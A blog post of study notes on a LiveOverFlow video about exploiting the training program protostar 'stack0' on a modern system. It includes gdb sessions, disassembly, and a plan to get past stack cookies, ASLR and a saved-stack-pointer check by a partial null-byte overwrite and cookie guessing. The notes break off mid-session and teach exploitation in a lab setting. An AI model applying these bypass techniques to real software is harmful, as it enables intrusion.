Security_RNRF

0x36. 본문

LiveOverFlow/Binary

0x36.

RNRF 2021. 11. 3. 01:10

36. Identifying another exploit mitigation and find bypass. stack0: part 2 - bin.0x22

: Now let's look at what happens when you compile the "stack0" code from "protostar" on a newer system.
-> Specifically, look at stack cookies.
: In this video I wanna develop a working exploit for it.
-> And I think there are some mountains we need to overcome.
: Let’s get everybody quickly on track.
-> We have a simple buffer overflow vulnerability.
-> Originally the goal was to overflow into another variable to change the outcome of an if But this is not possible anymore because the buffer is now placed after the variable - before.
-> So to execute the if-case we want, we could maybe overflow the return pointer on the stack and simply redirect the code execution there.
-> But an issue that we face is the stack cookie which contains three random bytes that checked before the function returns.
-> So in order to overflow the return pointer we would have to guess the cookie.
-> This means we have to write an exploit which executes the target over and over again, millions of times always guessing a stack cookie, and eventually we should get lucky.
-> But before we write that code, let’s first develop the exploit as if we know the cookie value.
-> This input really must be correct in order to work once we guess the correct cookie value.
-> So we have to debug this heavily.
: Let’s start by opening the binary in gdb with the peda extension which makes it look nicer and let’s just enter a lot of characters in order to observe what happens.
-> r
(1:33) AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Try again?
*** stack smashing detected ***: <unknown> terminated

Program received signal SIGABRT, Aborted.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x2 
ECX: 0xffffcd1c --> 0x0 
EDX: 0x0 
ESI: 0x8 
EDI: 0x0 
EBP: 0xffffcd1c --> 0x0 
ESP: 0xffffcd00 --> 0xffffcd1c --> 0x0 
EIP: 0xf7fd5939 (<__kernel_vsyscall+9>: pop    ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7fd5933 <__kernel_vsyscall+3>: mov    ebp,esp
   0xf7fd5935 <__kernel_vsyscall+5>: sysenter 
   0xf7fd5937 <__kernel_vsyscall+7>: int    0x80
=> 0xf7fd5939 <__kernel_vsyscall+9>: pop    ebp
   0xf7fd593a <__kernel_vsyscall+10>: pop    edx
   0xf7fd593b <__kernel_vsyscall+11>: pop    ecx
   0xf7fd593c <__kernel_vsyscall+12>: ret    
   0xf7fd593d: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffcd00 --> 0xffffcd1c --> 0x0 
0004| 0xffffcd04 --> 0x0 
0008| 0xffffcd08 --> 0xffffcd1c --> 0x0 
0012| 0xffffcd0c --> 0xf7e0d452 (<raise+194>: mov    edx,DWORD PTR [esp+0x10c])
0016| 0xffffcd10 --> 0xf7ffd558 --> 0xf7fd6000 --> 0x464c457f 
0020| 0xffffcd14 --> 0xf7fdf73d (add    esp,0x20)
0024| 0xffffcd18 --> 0x1 
0028| 0xffffcd1c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xf7fd5939 in __kernel_vsyscall ()
-> Stack smashing is detected.
-> We want to ignore it.
-> Try setting a breakpoint just before continuing with "_stack_chk_fail".
-> Then set the cookie to the position where it would have been moved to "eip" if it was correct.
-> Simple instructional instructions allow you to automate them whenever you reach a breakpoint.
-> disassemble main
Dump of assembler code for function main:
   0x5655559d <+0>: lea    ecx,[esp+0x4]
   0x565555a1 <+4>: and    esp,0xfffffff0
   0x565555a4 <+7>: push   DWORD PTR [ecx-0x4]
   0x565555a7 <+10>: push   ebp
   0x565555a8 <+11>: mov    ebp,esp
   0x565555aa <+13>: push   ebx
   0x565555ab <+14>: push   ecx
   0x565555ac <+15>: sub    esp,0x60
   0x565555af <+18>: call   0x565554a0 <__x86.get_pc_thunk.bx>
   0x565555b4 <+23>: add    ebx,0x1a1c
   0x565555ba <+29>: mov    eax,ecx
   0x565555bc <+31>: mov    eax,DWORD PTR [eax+0x4]
   0x565555bf <+34>: mov    DWORD PTR [ebp-0x5c],eax
   0x565555c2 <+37>: mov    eax,gs:0x14
   0x565555c8 <+43>: mov    DWORD PTR [ebp-0xc],eax
   0x565555cb <+46>: xor    eax,eax
   0x565555cd <+48>: mov    DWORD PTR [ebp-0x50],0x0
   0x565555d4 <+55>: sub    esp,0xc
   0x565555d7 <+58>: lea    eax,[ebp-0x4c]
   0x565555da <+61>: push   eax
   0x565555db <+62>: call   0x56555410 <gets@plt>
   0x565555e0 <+67>: add    esp,0x10
   0x565555e3 <+70>: mov    eax,DWORD PTR [ebp-0x50]
   0x565555e6 <+73>: test   eax,eax
   0x565555e8 <+75>: je     0x565555fe <main+97>
   0x565555ea <+77>: sub    esp,0xc
   0x565555ed <+80>: lea    eax,[ebx-0x1900]
   0x565555f3 <+86>: push   eax
   0x565555f4 <+87>: call   0x56555430 <puts@plt>
   0x565555f9 <+92>: add    esp,0x10
   0x565555fc <+95>: jmp    0x56555610 <main+115>
   0x565555fe <+97>: sub    esp,0xc
   0x56555601 <+100>: lea    eax,[ebx-0x18d7]
   0x56555607 <+106>: push   eax
   0x56555608 <+107>: call   0x56555430 <puts@plt>
   0x5655560d <+112>: add    esp,0x10
   0x56555610 <+115>: mov    eax,0x0
   0x56555615 <+120>: mov    edx,DWORD PTR [ebp-0xc] # cookie check
   0x56555618 <+123>: xor    edx,DWORD PTR gs:0x14
   0x5655561f <+130>: je     0x56555626 <main+137> # cookie correct(main+137)
   0x56555621 <+132>: call   0x565556a0 <__stack_chk_fail_local>
   0x56555626 <+137>: lea    esp,[ebp-0x8]
   0x56555629 <+140>: pop    ecx
   0x5655562a <+141>: pop    ebx
   0x5655562b <+142>: pop    ebp
   0x5655562c <+143>: lea    esp,[ecx-0x4]
   0x5655562f <+146>: ret    
End of assembler dump.
-> break *0x5655561f
Breakpoint 1 at 0x5655561f
-> commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $eip=0x56555626
>c
>end
-> break *0x5655562f
Breakpoint 2 at 0x5655562f
-> Then, go on.
-> r
Starting program: /home/rnrf/stack0_32 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Try again?

Breakpoint 2, 0x5655562f in main ()

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x53535353 ('SSSS')
ECX: 0x52525252 ('RRRR')
EDX: 0xba244851 
ESI: 0xf7fb5000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x54545454 ('TTTT')
ESP: 0x5252524e ('NRRR')
EIP: 0x5655562f (<main+146>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655562a <main+141>: pop    ebx
   0x5655562b <main+142>: pop    ebp
   0x5655562c <main+143>: lea    esp,[ecx-0x4]
=> 0x5655562f <main+146>: ret    
   0x56555630 <__libc_csu_init>: push   ebp
   0x56555631 <__libc_csu_init+1>: push   edi
   0x56555632 <__libc_csu_init+2>: push   esi
   0x56555633 <__libc_csu_init+3>: push   ebx
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x5252524e
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
-> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x53535353 ('SSSS')
ECX: 0x52525252 ('RRRR') # huh? where?
EDX: 0xba244851 
ESI: 0xf7fb5000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x54545454 ('TTTT')
ESP: 0x5252524e ('NRRR')
EIP: 0x5655562f (<main+146>: ret)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655562a <main+141>: pop    ebx
   0x5655562b <main+142>: pop    ebp
   0x5655562c <main+143>: lea    esp,[ecx-0x4]
=> 0x5655562f <main+146>: ret    
   0x56555630 <__libc_csu_init>: push   ebp
   0x56555631 <__libc_csu_init+1>: push   edi
   0x56555632 <__libc_csu_init+2>: push   esi
   0x56555633 <__libc_csu_init+3>: push   ebx
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x5252524e # !!!
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value # segfault!
Stopped reason: SIGSEGV
0x5655562f in main () # segfault here?
-> Segmentation defect, what we expected.
-> Segmetation fault at the return?
-> Isn't it "segfault" because you redirected the execution of the code to the faulty memory?
-> View the stack register.
-> Because "ESP" refers to invalid memory, if not "return", the stacks pointer is attempting to follow where "esp" points and is clearly accessing it.
-> Invalid memory.
-> So how did you overwrite and modify the stack pointer?
: Disassemble and re-view through the program "Ninja".
-> Down here just before the return.
-> So a value referenced by the base pointer, so a value on the stack is moved into ecx.
-> The "ecx-4" is then calculated and becomes a new stack pointer.
-> And when we look at the beginning of this function, we can see that the stack pointer -4 is stored in ecx and pushed on to the stack.
-> Therefore, the stack pointer is also stored in the stack.
-> I think that’s another mitigation attempt, because before we are able to control the return pointer, we first have to control the stack pointer.
: At first this doesn’t seem to be an issue, because this just means we have to write a valid stack pointer and point it into the buffer we control, and then the return will take the return pointer we control in the buffer esp points to and we win.
-> But the issue is this modern system also has now ASLR.
-> Reactivate "ASLR" in the debugger and run it several times.
-> break *main
Breakpoint 3 at 0x5655559d
-> aslr
ASLR is OFF
-> alsr on
-> aslr
ASLR is ON
(First) -> r
[----------------------------------registers-----------------------------------]
EAX: 0xf7ee8dd8 --> 0xffe0a3fc --> 0xffe0c3f1 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0x23ffcab0 
EDX: 0xffe0a384 --> 0x0 
ESI: 0xf7ee7000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffe0a35c --> 0xf7d2ae81 (<__libc_start_main+241>: add    esp,0x10)
EIP: 0x565a259d (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565a2594 <frame_dummy+4>: jmp    0x565a24f0 <register_tm_clones>
   0x565a2599 <__x86.get_pc_thunk.dx>: mov    edx,DWORD PTR [esp]
   0x565a259c <__x86.get_pc_thunk.dx+3>: ret    
=> 0x565a259d <main>: lea    ecx,[esp+0x4]
   0x565a25a1 <main+4>: and    esp,0xfffffff0
   0x565a25a4 <main+7>: push   DWORD PTR [ecx-0x4]
   0x565a25a7 <main+10>: push   ebp
   0x565a25a8 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffe0a35c --> 0xf7d2ae81 (<__libc_start_main+241>: add    esp,0x10)
0004| 0xffe0a360 --> 0x1 
0008| 0xffe0a364 --> 0xffe0a3f4 --> 0xffe0c3dc ("/home/rnrf/stack0_32")
0012| 0xffe0a368 --> 0xffe0a3fc --> 0xffe0c3f1 ("CLUTTER_IM_MODULE=xim")
0016| 0xffe0a36c --> 0xffe0a384 --> 0x0 
0020| 0xffe0a370 --> 0x1 
0024| 0xffe0a374 --> 0xffe0a3f4 --> 0xffe0c3dc ("/home/rnrf/stack0_32")
0028| 0xffe0a378 --> 0xf7ee7000 --> 0x1d4d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565a259d in main ()
(Second) -> r
[----------------------------------registers-----------------------------------]
EAX: 0xf7f69dd8 --> 0xfff9370c --> 0xfff953f1 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0x5397225a 
EDX: 0xfff93694 --> 0x0 
ESI: 0xf7f68000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xfff9366c --> 0xf7dabe81 (<__libc_start_main+241>: add    esp,0x10)
EIP: 0x565e359d (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565e3594 <frame_dummy+4>: jmp    0x565e34f0 <register_tm_clones>
   0x565e3599 <__x86.get_pc_thunk.dx>: mov    edx,DWORD PTR [esp]
   0x565e359c <__x86.get_pc_thunk.dx+3>: ret    
=> 0x565e359d <main>: lea    ecx,[esp+0x4]
   0x565e35a1 <main+4>: and    esp,0xfffffff0
   0x565e35a4 <main+7>: push   DWORD PTR [ecx-0x4]
   0x565e35a7 <main+10>: push   ebp
   0x565e35a8 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xfff9366c --> 0xf7dabe81 (<__libc_start_main+241>: add    esp,0x10)
0004| 0xfff93670 --> 0x1 
0008| 0xfff93674 --> 0xfff93704 --> 0xfff953dc ("/home/rnrf/stack0_32")
0012| 0xfff93678 --> 0xfff9370c --> 0xfff953f1 ("CLUTTER_IM_MODULE=xim")
0016| 0xfff9367c --> 0xfff93694 --> 0x0 
0020| 0xfff93680 --> 0x1 
0024| 0xfff93684 --> 0xfff93704 --> 0xfff953dc ("/home/rnrf/stack0_32")
0028| 0xfff93688 --> 0xf7f68000 --> 0x1d4d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565e359d in main ()
(Third) -> r
[----------------------------------registers-----------------------------------]
EAX: 0xf7f3cdd8 --> 0xffd0432c --> 0xffd063f1 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0x6a2bcb4b 
EDX: 0xffd042b4 --> 0x0 
ESI: 0xf7f3b000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffd0428c --> 0xf7d7ee81 (<__libc_start_main+241>: add    esp,0x10)
EIP: 0x5657759d (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56577594 <frame_dummy+4>: jmp    0x565774f0 <register_tm_clones>
   0x56577599 <__x86.get_pc_thunk.dx>: mov    edx,DWORD PTR [esp]
   0x5657759c <__x86.get_pc_thunk.dx+3>: ret    
=> 0x5657759d <main>: lea    ecx,[esp+0x4]
   0x565775a1 <main+4>: and    esp,0xfffffff0
   0x565775a4 <main+7>: push   DWORD PTR [ecx-0x4]
   0x565775a7 <main+10>: push   ebp
   0x565775a8 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffd0428c --> 0xf7d7ee81 (<__libc_start_main+241>: add    esp,0x10)
0004| 0xffd04290 --> 0x1 
0008| 0xffd04294 --> 0xffd04324 --> 0xffd063dc ("/home/rnrf/stack0_32")
0012| 0xffd04298 --> 0xffd0432c --> 0xffd063f1 ("CLUTTER_IM_MODULE=xim")
0016| 0xffd0429c --> 0xffd042b4 --> 0x0 
0020| 0xffd042a0 --> 0x1 
0024| 0xffd042a4 --> 0xffd04324 --> 0xffd063dc ("/home/rnrf/stack0_32")
0028| 0xffd042a8 --> 0xf7f3b000 --> 0x1d4d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x5657759d in main ()
-> Check the "esp" value.
-> Can always find something else.
-> You know it's not entirely random, but there's more byte we should guess.
-> And when you hit the cookie, the valid stack address starts to look bad.
: Suppose you know the basic memory of the stack.
-> r
[----------------------------------registers-----------------------------------]
EAX: 0xf7ec0dd8 --> 0xff941d7c --> 0xff9433f1 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0xe5e0dd85 
EDX: 0xff941d04 --> 0x0 
ESI: 0xf7ebf000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xff941cdc --> 0xf7d02e81 (<__libc_start_main+241>: add    esp,0x10)
EIP: 0x565c459d (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565c4594 <frame_dummy+4>: jmp    0x565c44f0 <register_tm_clones>
   0x565c4599 <__x86.get_pc_thunk.dx>: mov    edx,DWORD PTR [esp]
   0x565c459c <__x86.get_pc_thunk.dx+3>: ret    
=> 0x565c459d <main>: lea    ecx,[esp+0x4]
   0x565c45a1 <main+4>: and    esp,0xfffffff0
   0x565c45a4 <main+7>: push   DWORD PTR [ecx-0x4]
   0x565c45a7 <main+10>: push   ebp
   0x565c45a8 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xff941cdc --> 0xf7d02e81 (<__libc_start_main+241>: add    esp,0x10) # esp
0004| 0xff941ce0 --> 0x1 
0008| 0xff941ce4 --> 0xff941d74 --> 0xff9433dc ("/home/rnrf/stack0_32")
0012| 0xff941ce8 --> 0xff941d7c --> 0xff9433f1 ("CLUTTER_IM_MODULE=xim")
0016| 0xff941cec --> 0xff941d04 --> 0x0 
0020| 0xff941cf0 --> 0x1 
0024| 0xff941cf4 --> 0xff941d74 --> 0xff9433dc ("/home/rnrf/stack0_32")
0028| 0xff941cf8 --> 0xf7ebf000 --> 0x1d4d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x565c459d in main ()
-> There is even more here.
-> Let’s rerun the program again, and this time let’s see where esp points to and compare it to where the stack actually starts in memory.
-> vmmap
Start      End        Perm Name
0x565c4000 0x565c5000 r-xp /home/rnrf/stack0_32
0x565c5000 0x565c6000 r--p /home/rnrf/stack0_32
0x565c6000 0x565c7000 rw-p /home/rnrf/stack0_32
0xf7cea000 0xf7ebc000 r-xp /lib32/libc-2.27.so
0xf7ebc000 0xf7ebd000 ---p /lib32/libc-2.27.so
0xf7ebd000 0xf7ebf000 r--p /lib32/libc-2.27.so
0xf7ebf000 0xf7ec0000 rw-p /lib32/libc-2.27.so
0xf7ec0000 0xf7ec3000 rw-p mapped
0xf7eda000 0xf7edc000 rw-p mapped
0xf7edc000 0xf7edf000 r--p [vvar]
0xf7edf000 0xf7ee0000 r-xp [vdso]
0xf7ee0000 0xf7f06000 r-xp /lib32/ld-2.27.so
0xf7f06000 0xf7f07000 r--p /lib32/ld-2.27.so
0xf7f07000 0xf7f08000 rw-p /lib32/ld-2.27.so
0xff923000 0xff944000 rw-p [stack] # stack memory area
(python) >>> hex(0xff941cdc - 0xff923000) # calculate offset
'0x1ecdc' # esp at different offsets insid of ASLR'd stack memory area.
>>> hex(0xffbdac9c - 0xffbbb000)
'0x1fc9c'
>>> hex(0xffa5350c - 0xffa34000)
'0x1f50c'
>>> hex(0xffffc1fc - 0xfffdd000)
'0x1f1fc'
-> And when you do this a few times you can quickly see, that esp varies quite a lot from where the stack really starts.
-> x/64wx $esp
0xffffc1fc: 0xf7d42e81 0x00000001 0xffffc294 0xffffc29c # ~2 pages zeroes
0xffffc20c: 0xffffc224 0x00000001 0xffffc294 0xf7eff000
0xffffc21c: 0xf7f2f75a 0xffffc290 0x00000000 0xf7eff000
0xffffc22c: 0x00000000 0x00000000 0xd96e6777 0x8eb6e167
0xffffc23c: 0x00000000 0x00000000 0x00000000 0x00000040
0xffffc24c: 0xf7f47024 0x00000000 0x00000000 0xf7f2f869
0xffffc25c: 0x56582fd0 0x00000001 0x56581460 0x00000000
0xffffc26c: 0x56581491 0x5658159d 0x00000001 0xffffc294
0xffffc27c: 0x56581630 0x56581690 0xf7f2f9b0 0xffffc28c
0xffffc28c: 0xf7f47940 0x00000001 0xffffd3dc 0x00000000
0xffffc29c: 0xffffd3f1 0xffffd407 0xffffd9f3 0xffffda15
0xffffc2ac: 0xffffda2c 0xffffda3b 0xffffda4c 0xffffda57
0xffffc2bc: 0xffffda71 0xffffda91 0xffffdaa5 0xffffdab3
0xffffc2cc: 0xffffdabe 0xffffdae7 0xffffdaf8 0xffffdb02
0xffffc2dc: 0xffffdb19 0xffffdb2b 0xffffdb4c 0xffffdba2
0xffffc2ec: 0xffffdbb1 0xffffdbba 0xffffdbca 0xffffdbdf
-> x/64wx
0xffffc2fc: 0xffffdbf2 0xffffdc05 0xffffdc1a 0xffffdc6f
0xffffc30c: 0xffffdc8a 0xffffdca2 0xffffdcbe 0xffffdcca
0xffffc31c: 0xffffdcd7 0xffffdce8 0xffffdcf8 0xffffdd0c
0xffffc32c: 0xffffdd1e 0xffffdd32 0xffffdd44 0xffffdd65
0xffffc33c: 0xffffdd99 0xffffddb6 0xffffddbe 0xffffddcd
0xffffc34c: 0xffffdddf 0xffffde0b 0xffffde18 0xffffde4e
0xffffc35c: 0xffffde6d 0xffffde96 0xffffdec3 0xffffdf2b
0xffffc36c: 0xffffdf4c 0xffffdfb0 0xffffdfd0 0x00000000
0xffffc37c: 0x00000020 0xf7f1f930 0x00000021 0xf7f1f000
0xffffc38c: 0x00000010 0x178bfbff 0x00000006 0x00001000
0xffffc39c: 0x00000011 0x00000064 0x00000003 0x56581034
0xffffc3ac: 0x00000004 0x00000020 0x00000005 0x00000009
0xffffc3bc: 0x00000007 0xf7f20000 0x00000008 0x00000000
0xffffc3cc: 0x00000009 0x56581460 0x0000000b 0x000003e8
0xffffc3dc: 0x0000000c 0x000003e8 0x0000000d 0x000003e8
0xffffc3ec: 0x0000000e 0x000003e8 0x00000017 0x00000000
-> x/64wx
0xffffc3fc: 0x00000019 0xffffc42b 0x0000001a 0x00000000
0xffffc40c: 0x0000001f 0xffffdfe3 0x0000000f 0xffffc43b
0xffffc41c: 0x00000000 0x00000000 0x00000000 0xe7000000
0xffffc42c: 0x33031235 0xb4441375 0x3e6af317 0x694623e6
0xffffc43c: 0x00363836 0x00000000 0x00000000 0x00000000
0xffffc44c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc45c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc46c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc47c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc48c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc49c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc4ac: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc4bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc4cc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc4dc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc4ec: 0x00000000 0x00000000 0x00000000 0x00000000
-> continue “x/64wx”
0xffffd2fc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd30c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd31c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd32c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd33c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd34c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd35c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd36c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd37c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd38c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd39c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3ac: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3cc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd3dc: 0x6d6f682f 0x6e722f65 0x732f6672 0x6b636174
0xffffd3ec: 0x32335f30 0x554c4300 0x52455454 0x5f4d495f
-> x/64wx
0xffffd3fc: 0x55444f4d 0x783d454c 0x4c006d69 0x4f435f53 # environment
0xffffd40c: 0x53524f4c 0x3d73723d 0x69643a30 0x3b31303d
0xffffd41c: 0x6c3a3433 0x31303d6e 0x3a36333b 0x303d686d
0xffffd42c: 0x69703a30 0x3b30343d 0x733a3333 0x31303d6f
0xffffd43c: 0x3a35333b 0x303d6f64 0x35333b31 0x3d64623a
0xffffd44c: 0x333b3034 0x31303b33 0x3d64633a 0x333b3034
0xffffd45c: 0x31303b33 0x3d726f3a 0x333b3034 0x31303b31
0xffffd46c: 0x3d696d3a 0x733a3030 0x37333d75 0x3a31343b
0xffffd47c: 0x333d6773 0x33343b30 0x3d61633a 0x343b3033
0xffffd48c: 0x77743a31 0x3b30333d 0x6f3a3234 0x34333d77
0xffffd49c: 0x3a32343b 0x333d7473 0x34343b37 0x3d78653a
0xffffd4ac: 0x333b3130 0x2e2a3a32 0x3d726174 0x333b3130
0xffffd4bc: 0x2e2a3a31 0x3d7a6774 0x333b3130 0x2e2a3a31
0xffffd4cc: 0x3d637261 0x333b3130 0x2e2a3a31 0x3d6a7261
0xffffd4dc: 0x333b3130 0x2e2a3a31 0x3d7a6174 0x333b3130
0xffffd4ec: 0x2e2a3a31 0x3d61686c 0x333b3130 0x2e2a3a31
-> In fact there is a huge gap with a random size of just zeros between the start of the stack we use in the code where esp points to, and the environment variables that are at the actual beginning of the stack memory area.
-> I think this is another way to randomize values, because ASLR would only randomize the parts of an address and this way also the lower bytes become unpredictable.
-> r
[----------------------------------registers-----------------------------------]
EAX: 0xf7f5add8 --> 0xffb15aec --> 0xffb173f1 ("CLUTTER_IM_MODULE=xim")
EBX: 0x0 
ECX: 0x2b67494d ('MIg+')
EDX: 0xffb15a74 --> 0x0 
ESI: 0xf7f59000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x0 
ESP: 0xffb15a4c --> 0xf7d9ce81 (<__libc_start_main+241>: add    esp,0x10)
EIP: 0x5662659d (<main>: lea    ecx,[esp+0x4])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56626594 <frame_dummy+4>: jmp    0x566264f0 <register_tm_clones>
   0x56626599 <__x86.get_pc_thunk.dx>: mov    edx,DWORD PTR [esp]
   0x5662659c <__x86.get_pc_thunk.dx+3>: ret    
=> 0x5662659d <main>: lea    ecx,[esp+0x4]
   0x566265a1 <main+4>: and    esp,0xfffffff0
   0x566265a4 <main+7>: push   DWORD PTR [ecx-0x4]
   0x566265a7 <main+10>: push   ebp
   0x566265a8 <main+11>: mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffb15a4c --> 0xf7d9ce81 (<__libc_start_main+241>: add    esp,0x10)
0004| 0xffb15a50 --> 0x1 
0008| 0xffb15a54 --> 0xffb15ae4 --> 0xffb173dc ("/home/rnrf/stack0_32")
0012| 0xffb15a58 --> 0xffb15aec --> 0xffb173f1 ("CLUTTER_IM_MODULE=xim")
0016| 0xffb15a5c --> 0xffb15a74 --> 0x0 
0020| 0xffb15a60 --> 0x1 
0024| 0xffb15a64 --> 0xffb15ae4 --> 0xffb173dc ("/home/rnrf/stack0_32")
0028| 0xffb15a68 --> 0xf7f59000 --> 0x1d4d6c 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x5662659d in main ()
-> The game of exploitation has clearly changed.
-> There are more hurdles. So does this mean now it’s game over? It’s not exploitable anymore?
-> We can’t do it with a single input overflow?
-> there is a way. But we have to get creative. It’s not that easy anymore.
-> We know there are cookies in the stack and we think it's indiscriminate.
-> Suppose you found the right cookie.
-> Are you aware that a valid stack pointer is stored behind the cookie?
-> The value of "esp" was initially saved and restored here again.
-> That means we can abuse it.
-> We don't need to overwrite the entire pointer.
-> What happens if you damage the first byte, the lowest part of the address?
-> Which means that the stack pointer stays valid but suddenly points into a slightly stack memory.
-> And maybe we can make it slightly point into the buffer we control, which is just a bit lower than the stored esp value here.
-> So then we restore this slightly off value, return can now follow the address as it points into valid stack memory and take the address there to return into.
-> And if it points into our buffer now, we can control where we wanna return to, and we return into the if-case that prints our goal.
-> We can achieve that by writing enough data to the buffer so that we fill up just short off the stored stack pointer, and because strings end with a zero byte in C, a null will be written to the lowest part of the stored esp value, thus make it a bit smaller, and when we are lucky it points into our buffer.
: Let’s figure out the length.
(6:33) -> r
Starting program: /home/rnrf/stack0_32 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Try again?
*** stack smashing detected ***: <unknown> terminated

Program received signal SIGABRT, Aborted.
-> disassemble main
-> break *0x5655561f
-> commands
> set $eip=0x56555626
> c
> end
-> break *0x5655562f
-> r
Starting program: /home/rnrf/stack0_32 
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Try again?

Breakpoint 2, 0x5655562f in main ()

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x53535353 ('SSSS')
ECX: 0x52525252 ('RRRR')
EDX: 0x1c127351 
ESI: 0xf7fb5000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x54545454 ('TTTT')
ESP: 0x5252524e ('NRRR')
EIP: 0x5655562f (<main+146>: ret)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655562a <main+141>: pop    ebx
   0x5655562b <main+142>: pop    ebp
   0x5655562c <main+143>: lea    esp,[ecx-0x4]
=> 0x5655562f <main+146>: ret    
   0x56555630 <__libc_csu_init>: push   ebp
   0x56555631 <__libc_csu_init+1>: push   edi
   0x56555632 <__libc_csu_init+2>: push   esi
   0x56555633 <__libc_csu_init+3>: push   ebx
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x5252524e
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

-> Therefore, if you run it on a long input, you can see that "esp" is overwritten with "NRRR".
-> One byte is "4" lower than the other, so it became the "N" generated by "ecx-4".
-> So this means we want to stop right before that.
-> r
Starting program: /home/rnrf/stack0_32 
